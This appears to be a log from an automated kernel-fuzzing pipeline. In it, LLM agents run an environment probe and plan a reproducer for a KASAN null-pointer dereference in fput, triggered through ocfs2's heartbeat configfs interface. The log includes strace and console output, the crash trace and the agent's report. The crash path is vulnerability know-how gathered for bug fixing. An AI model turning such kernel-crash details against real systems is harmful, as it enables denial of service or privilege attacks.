[   68.590155][   T33] audit: type=1400 audit(1788554642.245:211): avc:  denied  { search } for  pid=5837 comm="syz-executor347" name="/" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   68.754476][   T33] audit: type=1400 audit(1788554642.445:212): avc:  denied  { write } for  pid=5842 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.444229][ T1375] ieee802154 phy0 wpan0: encryption failed: -22
[   72.446882][ T1375] ieee802154 phy1 wpan1: encryption failed: -22
 OtherCrashReports:<nil> StraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor2769299323

<...>
[   61.377091][   T33] kauditd_printk_skb: 10 callbacks suppressed
[   61.377104][   T33] audit: type=1400 audit(1788554719.847:201): avc:  denied  { transition } for  pid=5825 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.392311][   T33] audit: type=1400 audit(1788554719.847:202): avc:  denied  { noatsecure } for  pid=5825 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.398762][   T33] audit: type=1400 audit(1788554719.847:203): avc:  denied  { rlimitinh } for  pid=5825 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.405026][   T33] audit: type=1400 audit(1788554719.857:204): avc:  denied  { siginh } for  pid=5825 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   63.960242][   T33] audit: type=1400 audit(1788554722.427:205): avc:  denied  { write } for  pid=5832 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   63.992683][   T33] audit: type=1400 audit(1788554722.467:206): avc:  denied  { write } for  pid=5835 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.504121][   T33] audit: type=1400 audit(1788554722.977:207): avc:  denied  { write } for  pid=5842 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.537662][   T33] audit: type=1400 audit(1788554723.007:208): avc:  denied  { write } for  pid=5845 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.600941][   T33] audit: type=1400 audit(1788554723.067:209): avc:  denied  { write } for  pid=5848 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.640340][   T33] audit: type=1400 audit(1788554723.107:210): avc:  denied  { write } for  pid=5851 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:55719' (ED25519) to the list of known hosts.
execve("/syz-executor2769299323", ["/syz-executor2769299323"], 0x7ffd14f33690 /* 11 vars */) = 0
brk(NULL)                               = 0x55556de52000
brk(0x55556de52d80)                     = 0x55556de52d80
arch_prctl(ARCH_SET_FS, 0x55556de52400) = 0
set_tid_address(0x55556de526d0)         = 5869
set_robust_list(0x55556de526e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor2769299323", 4096) = 23
getrandom("\x7b\xc9\x15\x13\x45\x7c\xe3\xf0", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x55556de52d80
brk(0x55556de73d80)                     = 0x55556de73d80
brk(0x55556de74000)                     = 0x55556de74000
mprotect(0x7fd0f8095000, 20480, PROT_READ) = 0
mount("configfs", "/sys/kernel/config", "configfs", 0, NULL) = -1 EBUSY (Device or resource busy)
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
newfstatat(AT_FDCWD, "/sys/kernel/config/cluster", {st_mode=S_IFDIR|0755, st_size=0, ...}, 0) = 0
openat(AT_FDCWD, "/dev/loop0", O_RDWR)  = 3
close(3)                                = 0
write(1, "[+] configfs mounted or already mounted.\n[+] /sys/kernel/config/cluster exists.\n[+] /dev/loop0 opene"..., 143) = 143
exit_group(0)                           = ?
+++ exited with 0 +++
[+] configfs mounted or already mounted.
[+] /sys/kernel/config/cluster exists.
[+] /dev/loop0 opened successfully.
[+] All probes successful.
[   66.401030][   T33] kauditd_printk_skb: 10 callbacks suppressed
[   66.401040][   T33] audit: type=1400 audit(1788554724.867:221): avc:  denied  { write } for  pid=5886 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.692135][   T33] audit: type=1400 audit(1788554725.157:222): avc:  denied  { write } for  pid=5889 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.725029][   T33] audit: type=1400 audit(1788554725.197:223): avc:  denied  { write } for  pid=5892 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   71.534201][ T1373] ieee802154 phy0 wpan0: encryption failed: -22
[   71.536407][ T1373] ieee802154 phy1 wpan1: encryption failed: -22
 TestError:]

77/3 2026/09/04 20:45 action truncate-log
0m Results:
map[TruncatedConsoleOutput:[   66.200632][   T33] audit: type=1400 audit(1788554639.885:203): avc:  denied  { transition } for  pid=5822 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   66.208123][   T33] audit: type=1400 audit(1788554639.885:204): avc:  denied  { noatsecure } for  pid=5822 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   66.214693][   T33] audit: type=1400 audit(1788554639.885:205): avc:  denied  { rlimitinh } for  pid=5822 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   66.221020][   T33] audit: type=1400 audit(1788554639.885:206): avc:  denied  { siginh } for  pid=5822 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
Warning: Permanently added '[localhost]:23825' (ED25519) to the list of known hosts.
[   68.498062][   T33] audit: type=1400 audit(1788554642.185:207): avc:  denied  { write } for  pid=5833 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   68.541628][   T33] audit: type=1400 audit(1788554642.225:208): avc:  denied  { write } for  pid=5838 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[+] configfs mounted or already mounted.
[+] /sys/kernel/config/cluster exists.
[+] /dev/loop0 opened successfully.
[+] All probes successful.
[   68.553968][   T33] audit: type=1400 audit(1788554642.245:209): avc:  denied  { mounton } for  pid=5837 comm="syz-executor347" path="/sys/kernel/config" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   68.575707][   T33] audit: type=1400 audit(1788554642.245:210): avc:  denied  { mount } for  pid=5837 comm="syz-executor347" name="/" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=filesystem permissive=1
[   68.590155][   T33] audit: type=1400 audit(1788554642.245:211): avc:  denied  { search } for  pid=5837 comm="syz-executor347" name="/" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   68.754476][   T33] audit: type=1400 audit(1788554642.445:212): avc:  denied  { write } for  pid=5842 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.444229][ T1375] ieee802154 phy0 wpan0: encryption failed: -22
[   72.446882][ T1375] ieee802154 phy1 wpan1: encryption failed: -22
 TruncatedCrashReport: TruncatedStraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor2769299323

<...>
[   61.377091][   T33] kauditd_printk_skb: 10 callbacks suppressed
[   61.377104][   T33] audit: type=1400 audit(1788554719.847:201): avc:  denied  { transition } for  pid=5825 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.392311][   T33] audit: type=1400 audit(1788554719.847:202): avc:  denied  { noatsecure } for  pid=5825 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.398762][   T33] audit: type=1400 audit(1788554719.847:203): avc:  denied  { rlimitinh } for  pid=5825 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.405026][   T33] audit: type=1400 audit(1788554719.857:204): avc:  denied  { siginh } for  pid=5825 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   63.960242][   T33] audit: type=1400 audit(1788554722.427:205): avc:  denied  { write } for  pid=5832 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   63.992683][   T33] audit: type=1400 audit(1788554722.467:206): avc:  denied  { write } for  pid=5835 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.504121][   T33] audit: type=1400 audit(1788554722.977:207): avc:  denied  { write } for  pid=5842 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.537662][   T33] audit: type=1400 audit(1788554723.007:208): avc:  denied  { write } for  pid=5845 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.600941][   T33] audit: type=1400 audit(1788554723.067:209): avc:  denied  { write } for  pid=5848 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.640340][   T33] audit: type=1400 audit(1788554723.107:210): avc:  denied  { write } for  pid=5851 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:55719' (ED25519) to the list of known hosts.
execve("/syz-executor2769299323", ["/syz-executor2769299323"], 0x7ffd14f33690 /* 11 vars */) = 0
brk(NULL)                               = 0x55556de52000
brk(0x55556de52d80)                     = 0x55556de52d80
arch_prctl(ARCH_SET_FS, 0x55556de52400) = 0
set_tid_address(0x55556de526d0)         = 5869
set_robust_list(0x55556de526e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor2769299323", 4096) = 23
getrandom("\x7b\xc9\x15\x13\x45\x7c\xe3\xf0", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x55556de52d80
brk(0x55556de73d80)                     = 0x55556de73d80
brk(0x55556de74000)                     = 0x55556de74000
mprotect(0x7fd0f8095000, 20480, PROT_READ) = 0
mount("configfs", "/sys/kernel/config", "configfs", 0, NULL) = -1 EBUSY (Device or resource busy)
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
newfstatat(AT_FDCWD, "/sys/kernel/config/cluster", {st_mode=S_IFDIR|0755, st_size=0, ...}, 0) = 0
openat(AT_FDCWD, "/dev/loop0", O_RDWR)  = 3
close(3)                                = 0
write(1, "[+] configfs mounted or already mounted.\n[+] /sys/kernel/config/cluster exists.\n[+] /dev/loop0 opene"..., 143) = 143
exit_group(0)                           = ?
+++ exited with 0 +++
[+] configfs mounted or already mounted.
[+] /sys/kernel/config/cluster exists.
[+] /dev/loop0 opened successfully.
[+] All probes successful.
[   66.401030][   T33] kauditd_printk_skb: 10 callbacks suppressed
[   66.401040][   T33] audit: type=1400 audit(1788554724.867:221): avc:  denied  { write } for  pid=5886 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.692135][   T33] audit: type=1400 audit(1788554725.157:222): avc:  denied  { write } for  pid=5889 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.725029][   T33] audit: type=1400 audit(1788554725.197:223): avc:  denied  { write } for  pid=5892 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   71.534201][ T1373] ieee802154 phy0 wpan0: encryption failed: -22
[   71.536407][ T1373] ieee802154 phy1 wpan1: encryption failed: -22
]

78/3 2026/09/04 20:45 agent repro-oracle
0m Model:
deep-reasoning

Results:
map[Feedback:The capability probe executed successfully. The environment is ready (configfs is mounted, /sys/kernel/config/cluster exists, and /dev/loop0 is accessible). Please proceed with generating the full reproducer to trigger the KASAN null-ptr-deref in fput via o2hb_region_dev_store. ProbePassed:true TerminalError: TitleMatches:false]

Instruction:
You are a security researcher with deep Linux kernel background.
Analyze the results of running the generated program.

=== CRITICAL ENVIRONMENT & TARGET CLASSIFICATION ===
Set 'TerminalError' to a descriptive error message ONLY if:
1. The execution failed due to missing hardware device nodes, subsystems, kernel modules, or privilege limits
   that cannot be loaded, created, or bypassed by user-space C code edits in the VM guest.
2. The target source files or functions described in the bug description do not exist in the checked-out codebase,
   meaning the codebase version is mismatched and the target code is absent.

=== CRITICAL PROHIBITIONS ===
- Do NOT classify a run as a terminal failure or assume a bug is fixed based on git log entries, commit titles,
  or commit messages. Reproducibility can ONLY be determined by executing reproducer candidates in the VM.
- Do NOT suggest C code strategies, repairs, or namespace bypasses when setting 'TerminalError'.


=== PHASE 1: CAPABILITY PROBING (EVALUATION) ===
The executed program was a simple environment probe.
Use this to guide your classification and feedback:
1. If the execution was successful (all environment/subsystem probes passed and program exited with 0),
   set the field 'ProbePassed' to true and provide feedback explicitly indicating that the environment
   is ready and the agent should now proceed to generate the full reproducer in the next iteration.
2. If the probe failed (e.g., missing permissions, missing devices, or sandbox restrictions),
   set the field 'ProbePassed' to false, and explain what failed in the 'Feedback'
   field so the generator can adjust its setups.

Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Prompt:
Bug Description: KASAN: null-ptr-deref Write in fput

(syz-executor157,5664,1):o2hb_bio_end_io:499 ERROR: IO Error 10
(syz-executor157,5664,1):o2hb_region_dev_store:1850 ERROR: status = -5
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x2e/0x100 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor157/5664

CPU: 1 UID: 0 PID: 5664 Comm: syz-executor157 Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
 <TASK>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:186 [inline]
 kasan_check_range+0x10f/0x1e0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
 atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
 file_ref_put include/linux/file_ref.h:157 [inline]
 fput+0x2e/0x100 fs/file_table.c:588
 o2hb_region_dev_store+0x1230/0x1bc0 fs/ocfs2/cluster/heartbeat.c:1935
 flush_write_buffer fs/configfs/file.c:207 [inline]
 configfs_write_iter+0x302/0x4e0 fs/configfs/file.c:229
 new_sync_write fs/read_write.c:595 [inline]
 vfs_write+0x6ac/0x1050 fs/read_write.c:687
 ksys_write+0x12a/0x250 fs/read_write.c:739
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fd8eccb5ab9
Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007ffc7d881e78 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000200000000540 RCX: 00007fd8eccb5ab9
RDX: 0000000000000001 RSI: 00002000000005c0 RDI: 0000000000000004
RBP: 0030706f6f6c2f2e R08: 0000000000000009 R09: 0000000000000009
R10: 0000000000000009 R11: 0000000000000246 R12: 000000000001009b
R13: 00007ffc7d881e8c R14: 00007ffc7d881ea0 R15: 0000200000000008
 </TASK>
==================================================================

IsProbe: true
Reproduced: false
Console Output: [   66.200632][   T33] audit: type=1400 audit(1788554639.885:203): avc:  denied  { transition } for  pid=5822 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   66.208123][   T33] audit: type=1400 audit(1788554639.885:204): avc:  denied  { noatsecure } for  pid=5822 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   66.214693][   T33] audit: type=1400 audit(1788554639.885:205): avc:  denied  { rlimitinh } for  pid=5822 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   66.221020][   T33] audit: type=1400 audit(1788554639.885:206): avc:  denied  { siginh } for  pid=5822 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
Warning: Permanently added '[localhost]:23825' (ED25519) to the list of known hosts.
[   68.498062][   T33] audit: type=1400 audit(1788554642.185:207): avc:  denied  { write } for  pid=5833 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   68.541628][   T33] audit: type=1400 audit(1788554642.225:208): avc:  denied  { write } for  pid=5838 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[+] configfs mounted or already mounted.
[+] /sys/kernel/config/cluster exists.
[+] /dev/loop0 opened successfully.
[+] All probes successful.
[   68.553968][   T33] audit: type=1400 audit(1788554642.245:209): avc:  denied  { mounton } for  pid=5837 comm="syz-executor347" path="/sys/kernel/config" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   68.575707][   T33] audit: type=1400 audit(1788554642.245:210): avc:  denied  { mount } for  pid=5837 comm="syz-executor347" name="/" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=filesystem permissive=1
[   68.590155][   T33] audit: type=1400 audit(1788554642.245:211): avc:  denied  { search } for  pid=5837 comm="syz-executor347" name="/" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   68.754476][   T33] audit: type=1400 audit(1788554642.445:212): avc:  denied  { write } for  pid=5842 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.444229][ T1375] ieee802154 phy0 wpan0: encryption failed: -22
[   72.446882][ T1375] ieee802154 phy1 wpan1: encryption failed: -22

Strace Output: /strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor2769299323

<...>
[   61.377091][   T33] kauditd_printk_skb: 10 callbacks suppressed
[   61.377104][   T33] audit: type=1400 audit(1788554719.847:201): avc:  denied  { transition } for  pid=5825 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.392311][   T33] audit: type=1400 audit(1788554719.847:202): avc:  denied  { noatsecure } for  pid=5825 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.398762][   T33] audit: type=1400 audit(1788554719.847:203): avc:  denied  { rlimitinh } for  pid=5825 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.405026][   T33] audit: type=1400 audit(1788554719.857:204): avc:  denied  { siginh } for  pid=5825 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   63.960242][   T33] audit: type=1400 audit(1788554722.427:205): avc:  denied  { write } for  pid=5832 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   63.992683][   T33] audit: type=1400 audit(1788554722.467:206): avc:  denied  { write } for  pid=5835 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.504121][   T33] audit: type=1400 audit(1788554722.977:207): avc:  denied  { write } for  pid=5842 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.537662][   T33] audit: type=1400 audit(1788554723.007:208): avc:  denied  { write } for  pid=5845 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.600941][   T33] audit: type=1400 audit(1788554723.067:209): avc:  denied  { write } for  pid=5848 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.640340][   T33] audit: type=1400 audit(1788554723.107:210): avc:  denied  { write } for  pid=5851 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:55719' (ED25519) to the list of known hosts.
execve("/syz-executor2769299323", ["/syz-executor2769299323"], 0x7ffd14f33690 /* 11 vars */) = 0
brk(NULL)                               = 0x55556de52000
brk(0x55556de52d80)                     = 0x55556de52d80
arch_prctl(ARCH_SET_FS, 0x55556de52400) = 0
set_tid_address(0x55556de526d0)         = 5869
set_robust_list(0x55556de526e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor2769299323", 4096) = 23
getrandom("\x7b\xc9\x15\x13\x45\x7c\xe3\xf0", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x55556de52d80
brk(0x55556de73d80)                     = 0x55556de73d80
brk(0x55556de74000)                     = 0x55556de74000
mprotect(0x7fd0f8095000, 20480, PROT_READ) = 0
mount("configfs", "/sys/kernel/config", "configfs", 0, NULL) = -1 EBUSY (Device or resource busy)
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
newfstatat(AT_FDCWD, "/sys/kernel/config/cluster", {st_mode=S_IFDIR|0755, st_size=0, ...}, 0) = 0
openat(AT_FDCWD, "/dev/loop0", O_RDWR)  = 3
close(3)                                = 0
write(1, "[+] configfs mounted or already mounted.\n[+] /sys/kernel/config/cluster exists.\n[+] /dev/loop0 opene"..., 143) = 143
exit_group(0)                           = ?
+++ exited with 0 +++
[+] configfs mounted or already mounted.
[+] /sys/kernel/config/cluster exists.
[+] /dev/loop0 opened successfully.
[+] All probes successful.
[   66.401030][   T33] kauditd_printk_skb: 10 callbacks suppressed
[   66.401040][   T33] audit: type=1400 audit(1788554724.867:221): avc:  denied  { write } for  pid=5886 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.692135][   T33] audit: type=1400 audit(1788554725.157:222): avc:  denied  { write } for  pid=5889 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.725029][   T33] audit: type=1400 audit(1788554725.197:223): avc:  denied  { write } for  pid=5892 comm="rm" name="hook-state" dev="tmpfs" ino=1810 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   71.534201][ T1373] ieee802154 phy0 wpan0: encryption failed: -22
[   71.536407][ T1373] ieee802154 phy1 wpan1: encryption failed: -22

Crash Report: 


79/4 2026/09/04 20:45 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 8329
							output: 100
							thoughts: 462
						

Thoughts:
**My Thought Process Regarding the KASAN Bug Report**

Alright, so I've just encountered a bug report detailing a KASAN null-pointer dereference occurring within the `fput` function, specifically when it's invoked from `o2hb_region_dev_store`. This is the core of the problem I need to address.

Looking at the context of the probe that triggered this, it seems the setup was successful. My probe managed to mount the `configfs`, locate the `/sys/kernel/config/cluster` path, and even open `/dev/loop0`. Crucially, the probe itself completed with an exit code of 0, which signifies that the environment was prepared and ready for the subsequent operations.

Given this successful probe execution, my immediate next step is to report this outcome using the `set-results` tool. I need to clearly indicate that the probe itself passed, so I'll be setting `ProbePassed: true`. Since the bug *didn't* manifest during this probe run – the system didn't crash in the way the bug report describes – I should mark `TitleMatches: false`. There's no terminal error to report from my side, so `TerminalError: ""` will be set. I'll also ensure to provide any other relevant feedback that might be helpful.

Now, let's delve into the specifics of the KASAN report itself to understand the failure path that was *observed* (even if not by my current probe run). The report clearly points to `BUG: KASAN: null-ptr-deref` originating in `instrument_atomic_read_write`, then cascading through `atomic_long_dec_return` and `file_ref_put`, before ultimately landing in `fput` at `fs/file_table.c:588`. The actual write operation that failed occurred at `addr 0000000000000158` and was performed by a task named `syz-executor157/5664`. The call trace shows the path: `fput` -> `o2hb_region_dev_store` -> `flush_write_buffer` -> `configfs_write_iter`. This confirms the function calls that led to the observed crash.

So, to reiterate, my primary action is to report the successful probe. The KASAN bug itself is a separate issue that was *reported* but not *triggered* by the probe in this instance. My immediate concern is accurately reflecting the probe's status.


80/4 2026/09/04 20:45 tool set-results
0m Args:
map[Feedback:The capability probe executed successfully. The environment is ready (configfs is mounted, /sys/kernel/config/cluster exists, and /dev/loop0 is accessible). Please proceed with generating the full reproducer to trigger the KASAN null-ptr-deref in fput via o2hb_region_dev_store. ProbePassed:true TerminalError: TitleMatches:false]

Results:
map[Feedback:The capability probe executed successfully. The environment is ready (configfs is mounted, /sys/kernel/config/cluster exists, and /dev/loop0 is accessible). Please proceed with generating the full reproducer to trigger the KASAN null-ptr-deref in fput via o2hb_region_dev_store. ProbePassed:true TerminalError: TitleMatches:false]

81/3 2026/09/04 20:45 action loop-controller
0m Results:
